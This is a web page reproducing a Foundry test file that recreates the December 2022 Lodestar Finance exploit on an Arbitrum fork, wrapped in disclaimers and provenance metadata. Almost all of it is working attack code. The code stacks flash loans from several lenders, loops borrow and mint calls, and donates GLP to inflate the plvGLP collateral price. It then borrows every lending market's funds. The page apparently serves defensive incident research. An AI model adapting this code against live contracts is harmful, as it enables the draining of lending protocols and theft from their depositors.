Public reproduction file
src/test/2022-12/Lodestar_exp.sol
Public reproduction file for dataset entry - Lodestar.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/SolidityFinance/status/16016841504564387849// https://blog.lodestarfinance.io/post-mortem-summary-13f5fe0bb33610// @TX11// https://arbiscan.io/tx/0xc523c6307b025ebd9aef155ba792d1ba18d5d83f97c7a846f267d3d9a3004e8c13interface uniswapV3Flash {14 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;15}17interface GMXRouter {18 function swapETHToTokens(address[] memory _path, uint256 _minOut, address _receiver) external payable;19 function swap(address[] memory _path, uint256 _amountIn, uint256 _minOut, address _receiver) external;20}22interface GMXReward {23 function mintAndStakeGlpETH(uint256 _minUsdg, uint256 _minGlp) external payable returns (uint256);24 function mintAndStakeGlp(25 address _token,26 uint256 _amount,27 uint256 _minUsdg,28 uint256 _minGlp29 ) external returns (uint256);30}32interface SwapFlashLoan {33 function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;34}36interface GlpDepositor {37 function donate(38 uint256 _amount39 ) external;40 function redeem(41 uint256 amount42 ) external;43}45contract ContractTest is Test {46 IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);47 IERC20 DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);48 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);49 IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);50 IERC20 FRAX = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);51 IERC20 sGLP = IERC20(0x2F546AD4eDD93B956C8999Be404cdCAFde3E89AE);52 IERC20 MIM = IERC20(0xFEa7a6a0B346362BF88A9e4A88416B77a57D6c2A);53 IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);54 IERC20 PlvGlpToken = IERC20(0x5326E71Ff593Ecc2CF7AcaE5Fe57582D6e74CFF1);55 IAaveFlashloan AaveFlash = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);56 IAaveFlashloan Radiant = IAaveFlashloan(0x2032b9A8e9F7e76768CA9271003d3e43E1616B1F);57 uniswapV3Flash UniV3Flash1 = uniswapV3Flash(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);58 uniswapV3Flash UniV3Flash2 = uniswapV3Flash(0x50450351517117Cb58189edBa6bbaD6284D45902);59 uniswapV3Flash UniV3Flash3 = uniswapV3Flash(0x13398E27a21Be1218b6900cbEDF677571df42A48);60 Uni_Pair_V2 Pair = Uni_Pair_V2(0x905dfCD5649217c42684f23958568e533C711Aa3);61 GMXRouter Router = GMXRouter(0xaBBc5F99639c9B6bCb58544ddf04EFA6802F4064);62 GMXReward Reward = GMXReward(0xA906F338CB21815cBc4Bc87ace9e68c87eF8d8F1);63 IUnitroller unitroller = IUnitroller(0x8f2354F9464514eFDAe441314b8325E97Bf96cdc);64 ICErc20Delegate IUSDC = ICErc20Delegate(0x5E3F2AbaECB51A182f05b4b7c0f7a5da1942De90);65 ICErc20Delegate lplvGLP = ICErc20Delegate(0xCC25daC54A1a62061b596fD3Baf7D454f34c56fF);66 ICErc20Delegate IETH = ICErc20Delegate(0xb4d58C1F5870eFA4B05519A72851227F05743273);67 ICErc20Delegate IMIM = ICErc20Delegate(0x46178d84339A04f140934EE830cDAFDAcD29Fba9);68 ICErc20Delegate IUSDT = ICErc20Delegate(0xeB156f76Ef69be485c18C297DeE5c45390345187);69 ICErc20Delegate IFRAX = ICErc20Delegate(0x5FfA22244D8273d899B6C20CEC12A88a7Cd9E460);70 ICErc20Delegate IDAI = ICErc20Delegate(0x7a668F56AffD511FFc83C31666850eAe9FD5BCC8);71 ICErc20Delegate IWBTC = ICErc20Delegate(0xD2835B08795adfEfa0c2009B294ae84B08C6a67e);72 SwapFlashLoan swapFlashLoan = SwapFlashLoan(0x401AFbc31ad2A3Bc0eD8960d63eFcDEA749b4849);73 GlpDepositor depositor = GlpDepositor(0x13F0D29b5B83654A200E4540066713d50547606E);74 address GlpManager = 0x321F653eED006AD1C29D174e17d96351BDe22649;76 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);78 function setUp() public {79 cheats.createSelectFork("arbitrum", 45_121_903);80 cheats.label(address(USDC), "USDC");81 cheats.label(address(DAI), "DAI");82 cheats.label(address(WETH), "WETH");83 cheats.label(address(USDT), "USDT");84 cheats.label(address(FRAX), "FRAX");85 cheats.label(address(sGLP), "sGLP");86 cheats.label(address(MIM), "MIM");87 cheats.label(address(WBTC), "WBTC");88 cheats.label(address(PlvGlpToken), "PlvGlpToken");89 cheats.label(address(AaveFlash), "AaveFlash");90 cheats.label(address(Radiant), "Radiant");91 cheats.label(address(UniV3Flash1), "UniV3Flash1");92 cheats.label(address(UniV3Flash2), "UniV3Flash2");93 cheats.label(address(UniV3Flash3), "UniV3Flash3");94 cheats.label(address(Pair), "Pair");95 cheats.label(address(Router), "Router");96 cheats.label(address(Reward), "Reward");97 cheats.label(address(unitroller), "unitroller");98 cheats.label(address(IUSDC), "IUSDC");99 cheats.label(address(lplvGLP), "lplvGLP");100 cheats.label(address(IETH), "IETH");101 cheats.label(address(IMIM), "IMIM");102 cheats.label(address(IUSDT), "IUSDT");103 cheats.label(address(IFRAX), "IFRAX");104 cheats.label(address(IDAI), "IDAI");105 cheats.label(address(IWBTC), "IWBTC");106 cheats.label(address(swapFlashLoan), "swapFlashLoan");107 cheats.label(address(depositor), "depositor");108 cheats.label(GlpManager, "GlpManager");109 }111 function testExploit() external {112 address[] memory assets = new address[](3);113 assets[0] = address(USDC);114 assets[1] = address(WETH);115 assets[2] = address(DAI);116 uint256[] memory amounts = new uint256[](3);117 amounts[0] = 17_290_000 * 1e6;118 amounts[1] = 9500 * 1e18;119 amounts[2] = 406_316 * 1e18;120 uint256[] memory modes = new uint256[](3);121 modes[0] = 0;122 modes[1] = 0;123 modes[2] = 0;124 AaveFlash.flashLoan(address(this), assets, amounts, modes, address(0), "", 0);126 emit log_named_decimal_uint(127 "Attacker PlvGlpToken balance after exploit", PlvGlpToken.balanceOf(address(this)), PlvGlpToken.decimals()128 );129 console.log("Attacker swap all PlvGlpToken to about 4500 ETH");130 emit log_named_decimal_uint(131 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()132 );133 emit log_named_decimal_uint(134 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()135 );136 emit log_named_decimal_uint("Attacker MIM balance after exploit", MIM.balanceOf(address(this)), MIM.decimals());137 emit log_named_decimal_uint(138 "Attacker FRAX balance after exploit", FRAX.balanceOf(address(this)), FRAX.decimals()139 );140 emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());141 emit log_named_decimal_uint(142 "Attacker WBTC balance after exploit", WBTC.balanceOf(address(this)), WBTC.decimals()143 );144 }146 function executeOperation(147 address[] calldata assets,148 uint256[] calldata amounts,149 uint256[] calldata premiums,150 address initiator,151 bytes calldata params152 ) external payable returns (bool) {153 if (msg.sender == address(AaveFlash)) {154 USDC.approve(address(AaveFlash), type(uint256).max);155 WETH.approve(address(AaveFlash), type(uint256).max);156 DAI.approve(address(AaveFlash), type(uint256).max);157 address[] memory assets = new address[](1);158 assets[0] = address(USDC);159 uint256[] memory amounts = new uint256[](1);160 amounts[0] = 14_435_000 * 1e6;161 uint256[] memory modes = new uint256[](1);162 modes[0] = 0;163 Radiant.flashLoan(address(this), assets, amounts, modes, address(0), new bytes(1), 0);164 return true;165 } else if (msg.sender == address(Radiant)) {166 USDC.approve(address(Radiant), type(uint256).max);167 UniV3Flash1.flash(address(this), 5460 * 1e18, 7_170_000 * 1e6, new bytes(1));168 return true;169 }170 }172 function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {173 if (msg.sender == address(UniV3Flash1)) {174 UniV3Flash2.flash(address(this), 0, 2_200_000 * 1e6, new bytes(1));175 USDC.transfer(address(UniV3Flash1), 7_173_631 * 1e6);176 USDC.approve(address(Router), 19_012_632 * 1e6);177 address[] memory path = new address[](2);178 path[0] = address(USDC);179 path[1] = address(WETH);180 Router.swap(path, 19_012_632 * 1e6, 8000 * 1e18, address(this));181 WETH.transfer(address(UniV3Flash1), 5463 * 1e18);182 } else if (msg.sender == address(UniV3Flash2)) {183 Pair.swap(0, 10_000_000 * 1e6, address(this), new bytes(1));184 USDC.transfer(address(UniV3Flash2), 2_201_111 * 1e6);185 } else if (msg.sender == address(UniV3Flash3)) {186 swapFlashLoan.flashLoan(address(this), address(FRAX), 361_037 * 1e18, new bytes(1));187 USDT.transfer(address(UniV3Flash3), 397_256 * 1e6);188 USDC.transfer(address(UniV3Flash3), 1_610_460 * 1e6);189 }190 }192 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external payable {193 WETH.withdraw(WETH.balanceOf(address(this)));194 address[] memory path = new address[](2);195 path[0] = address(WETH);196 path[1] = address(USDC);197 Router.swapETHToTokens{value: 14_960 ether}(path, 18_890_000 * 1e6, address(this)); // 14,960 WETH for 19,001,512 USDC198 USDC.approve(address(IUSDC), USDC.balanceOf(address(this)));199 IUSDC.mint(USDC.balanceOf(address(this))); // 70M USDC200 address[] memory cTokens = new address[](1);201 cTokens[0] = address(IUSDC);202 unitroller.enterMarkets(cTokens);203 uint256 PlvGlpTokenAmount = PlvGlpToken.balanceOf(address(lplvGLP));204 PlvGlpToken.approve(address(lplvGLP), type(uint256).max);205 for (uint256 i = 0; i < 16; i++) {206 lplvGLP.borrow(PlvGlpTokenAmount);207 lplvGLP.mint(PlvGlpTokenAmount);208 }209 lplvGLP.borrow(PlvGlpTokenAmount);210 deal(address(lplvGLP), address(0), 3_051_070_161 * 1e8); // the exploiter' balance211 cheats.startPrank(address(0));212 lplvGLP.transfer(address(this), lplvGLP.balanceOf(address(this)));213 cheats.stopPrank();214 UniV3Flash3.flash(address(this), 397_054 * 1e6, 1_609_646 * 1e6, new bytes(1));215 USDC.transfer(address(Pair), 10_030_500 * 1e6);216 }218 function executeOperation(219 address pool,220 address token,221 uint256 amount,222 uint256 fee,223 bytes calldata params224 ) external payable {225 uint256 ETHglpAmount = Reward.mintAndStakeGlpETH{value: 1580 ether}(1_836_000 * 1e18, 2_156_500 * 1e18);226 FRAX.approve(GlpManager, FRAX.balanceOf(address(this)));227 uint256 FRAXglpAmount =228 Reward.mintAndStakeGlp(address(FRAX), FRAX.balanceOf(address(this)), 300_000 * 1e18, 361_000 * 1e18);229 USDC.approve(GlpManager, USDC.balanceOf(address(this)));230 uint256 USDCglpAmount =231 Reward.mintAndStakeGlp(address(USDC), USDC.balanceOf(address(this)), 1_500_000 * 1e18, 1_757_500 * 1e18);232 DAI.approve(GlpManager, DAI.balanceOf(address(this)));233 uint256 DAIglpAmount =234 Reward.mintAndStakeGlp(address(DAI), DAI.balanceOf(address(this)), 390_000 * 1e18, 399_000 * 1e18);235 USDT.approve(GlpManager, USDT.balanceOf(address(this)));236 uint256 USDTglpAmount =237 Reward.mintAndStakeGlp(address(USDT), USDT.balanceOf(address(this)), 350_000 * 1e18, 427_500 * 1e18);239 uint256 glpAmount = ETHglpAmount + FRAXglpAmount + USDCglpAmount + DAIglpAmount + USDTglpAmount;240 sGLP.approve(address(depositor), glpAmount);241 depositor.donate(glpAmount); // plvGLP price manipulation243 address[] memory cTokens = new address[](1);244 cTokens[0] = address(lplvGLP);245 unitroller.enterMarkets(cTokens);246 borrowAll();247 address(WETH).call{value: 125 ether}("");248 FRAX.transfer(address(swapFlashLoan), 361_327 * 1e18);249 }251 function borrowAll() internal {252 IUSDC.borrow(USDC.balanceOf(address(IUSDC)));253 IETH.borrow(address(IETH).balance);254 IMIM.borrow(MIM.balanceOf(address(IMIM)));255 IUSDT.borrow(USDT.balanceOf(address(IUSDT)));256 IFRAX.borrow(FRAX.balanceOf(address(IFRAX)));257 IDAI.borrow(DAI.balanceOf(address(IDAI)));258 IWBTC.borrow(WBTC.balanceOf(address(IWBTC)));259 }261 receive() external payable {}262}Analysis
Dataset entry
Public Foundry test for “- Lodestar” (2022-12-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
- src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
- src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
- src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
- src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
- src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
- src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Lodestar
- Path
- src/test/2022-12/Lodestar_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 47e6026c37fbc4be85c94907ad3fa1f68b63531a
- Language
- Solidity
- Size
- 263 lines
- Date
- 2022-12-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/Lodestar_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 47e6026c37fbc4be85c94907ad3fa1f68b63531a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.